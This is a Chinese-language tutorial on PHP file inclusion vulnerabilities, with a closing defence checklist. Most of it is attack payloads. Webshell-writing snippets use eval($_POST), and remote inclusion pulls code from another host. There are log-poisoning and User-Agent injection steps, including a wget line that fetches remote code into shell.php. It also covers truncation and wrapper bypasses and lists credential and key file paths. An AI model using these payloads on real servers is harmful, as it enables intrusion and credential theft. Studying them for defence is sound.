文件包含漏洞总结
文章目录
- 前言
- php文件包含漏洞
- 1.本地文件包含
- 2.远程文件包含
- 3.本地包含配合apache日志拿shell
- 4.利用/proc/self/environ进行包含
- 截断包含
- 1.使用%00截断(php<5.3.4)
- 2.使用长目录截断(php<5.2.8)
- 利用php协议进行包含
- 特殊姿势:利用phar伪协议
- 防御
- 参考文章
前言
主要有远程文件包含与本地文件包含。
php文件包含漏洞
可导致文件包含的函数:
include() #无论被包含的文件是什么,都会把被包含的文件内容当php代码执行。
include_once() #同include(),区别是如果文件已被包含则不会被二次包含。
require() #include 和 require 除了处理错误的方式不同之外,在其他方面都是相同的:
require_once() # 同上
1.本地文件包含
包含一个本地计算机上的文件,并将被包含文件的内容当作php代码执行。
利用点:
1.读取本地的敏感文件。
2.配合文件上传获取webshell:
上传一个图片木马a.jpg,内容为:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>
访问URL:http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
敏感文件位置:
1、Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息
...
2、Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
2.远程文件包含
包含一个远程计算机上的文件,并将被包含文件的内容当作php代码执行。条件是php必须开启allow_url_fopen
。
利用点:
在远程主机上创建文件,内容如下,拿webshell:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>
如果目标网站存在远程包含漏洞,则可以通过访问:http://www.xxx1.com/index.php?page=http://www.xx2.com/test.txt则会在服务器根目录下生产一个shell.php,内容为`<?php eval($_POST[pwd]);?>`。
3.本地包含配合apache日志拿shell
apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL//www.xxx.com/<?php eval([$_POST]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。
4.利用/proc/self/environ进行包含
找到/proc/self/environ的绝对路径并访问,如果找到后,那我们就可以通过修改user-agent来进行php代码命令执行。
假设我们找到了绝对路径:
www.test.com/index.php?page=../../../../../proc/self/environ
选择User-Agent 写代码如下(选择一条去写):
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pwd]);?>")?>
5. 截断包含
1.使用%00截断(php<5.3.4)
有些开发者为了防止本地包含漏洞,会编写一下代码:
<?php
Include $_GET['page'].".php"
?>
创建恶意文件,命名为1.jpg,我们如果访问www.test.com/1.jpg,其实访问的是1.jpg.php,然而并没有这个文件,这时候我们使用www.test.com/1.jpg%00即可截断后面的.php
,从而执行了我们的恶意代码。
2.使用长目录截断(php<5.2.8)
在windows下目录最大长度为256字节,linux下为4096字节,其后面超出部分被丢弃。
././././././././././././././etc/passwd
或者
etc/passwd
或者
../a/etc/passwd/../a/etc/passwd/../a/etc/passwd
6. 利用php协议进行包含
data: php5.2以后版本
php://input需要开启allow_url_include
poc:
http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
特殊姿势:利用phar伪协议
1.先上传一个php文件,内容如下:
<?php
include 'phar://test.zip/test.txt';
?>
2.创建一个txt文件并打包成,命名为test.zip,txt内容为webshell:
<?php eval($_POST[pwd]);?>
3.链接webshell即可上线。
include.php代码:
<?php
$file = $_GET['file'];
include($file.'.jpg');
?>
创建一个1.jpg内容为:
<?php
phpinfo();
?>
使用zip命令压缩1.jpg:
zip 1.zip 1.jpg
通过phar协议进行文件包含:
防御
1、无需情况下设置allow_url_include和allow_url_fopen为关闭
2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
3、尽量不使用动态包含
4、严格检查变量是否已经初始化。
5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现…/之类的目录跳转符。
6、严格检查include类的文件包含函数中的参数是否外界可控。
7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
8、在发布应用程序之前测试所有已知的威胁。
9、禁用不必要的php伪协议
参考文章
文件包含漏洞(绕过姿势)
常见文件包含发生场景与防御
还没有评论,来说两句吧...